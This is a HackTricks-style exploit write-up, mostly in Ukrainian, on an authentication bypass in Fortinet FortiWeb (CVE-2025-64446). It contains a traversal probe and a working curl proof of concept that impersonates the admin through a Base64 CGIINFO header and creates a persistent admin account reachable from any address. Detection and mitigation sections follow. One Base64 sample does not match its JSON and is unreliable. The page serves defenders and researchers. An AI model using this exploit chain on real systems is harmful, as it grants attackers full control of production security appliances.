Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Fortinet FortiWeb розкриває централізований диспетчер CGI за адресою /cgi-bin/fwbcgi. Комбінація двох багів дозволяє віддаленому неавторизованому нападнику:

  • Дістатися до fwbcgi, почавши URL з дійсним API prefix і виконавши traversing directories.
  • Вдавати будь-якого користувача (включаючи вбудований admin), підставивши спеціальний HTTP header, якому CGI довіряє як ідентичності.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Спостерігалося використання в реальному житті для створення постійних admin-користувачів.

Пошкоджені версії (за публічними даними):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 повертає HTTP 403 для наведеної нижче traversal probe.

Швидка перевірка вразливості

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Інтерпретація: HTTP 200 → ймовірно вразливий; HTTP 403 → виправлено.

Ланцюжок причин

  1. API-prefix path traversal to internal CGI
  • Будь-який шлях запиту, що починається з валідного префіксу FortiWeb API (наприклад, /api/v2.0/cmdb/ або /api/v2.0/cmd/), може за допомогою ../ пройти до /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Коли досягається fwbcgi, перше сито виконує лояльну перевірку JSON, керовану файлом для кожного шляху під /var/log/inputcheck/. Якщо файл відсутній, перевірка проходить одразу. Якщо файл присутній, тіло має бути лише валідним JSON. Використовуйте {} як мінімальне коректне тіло.
  1. Header-driven user impersonation
  • Програма читає CGI-змінну середовища HTTP_CGIINFO (виводиться з HTTP-заголовка CGIINFO), декодує її з Base64, парсить JSON і копіює атрибути напряму в контекст входу, встановлюючи domain/VDOM. Ключі, на які слід звернути увагу:
  • username, loginname, vdom, profname
  • Приклад JSON для імітації вбудованого адміністратора:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 наведеного вище (як використовується в реальних умовах):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end схема зловживання (unauthenticated → admin)

  1. Отримати доступ до /cgi-bin/fwbcgi через API-prefix traversal.
  2. Надішліть будь-яке дійсне JSON тіло (наприклад, {}), щоб пройти перевірку вводу.
  3. Відправте заголовок CGIINFO: <base64(json)>, де JSON визначає цільову ідентичність.
  4. Виконайте POST з backend JSON, який очікується fwbcgi, щоб виконати привілейовані дії (наприклад, створити admin-користувача для збереження доступу).

Мінімальний cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Імітувати admin і створити нового local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Примітки:

  • Будь-яке валідне JSON тіло підходить (наприклад, {}), якщо /var/log/inputcheck/<path>.json не існує.
  • Схема дій є внутрішньою для FortiWeb; наведений вище приклад додає локального адміністратора з повними привілеями.

Виявлення

  • Запити, що досягають /cgi-bin/fwbcgi через шляхи з префіксом API, які містять ../ (наприклад, /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Наявність заголовка CGIINFO із Base64 JSON, що містить ключі username/loginname/vdom/profname.
  • Артефакти бекенда:
  • Файли за шляхами під /var/log/inputcheck/ (конфігурація gate).
  • Несподіване створення адміністратора та зміни конфігурації.
  • Швидка перевірка: traversal probe повертає 200 (вразливий) проти 403 (заблоковано у виправлених збірках).

Пом’якшення

  • Оновіть до виправлених релізів (наприклад: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) згідно з повідомленням постачальника.
  • Поки не виправлено:
  • Не відкривати management plane FortiWeb для недовірених мереж.
  • Додайте правила reverse-proxy/WAF для блокування:
  • Шляхи, що починаються з /api/ і містять ../cgi-bin/fwbcgi.
  • Запити з заголовком CGIINFO.
  • Моніторити та надсилати сповіщення за вказаними вище індикаторами виявлення.

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks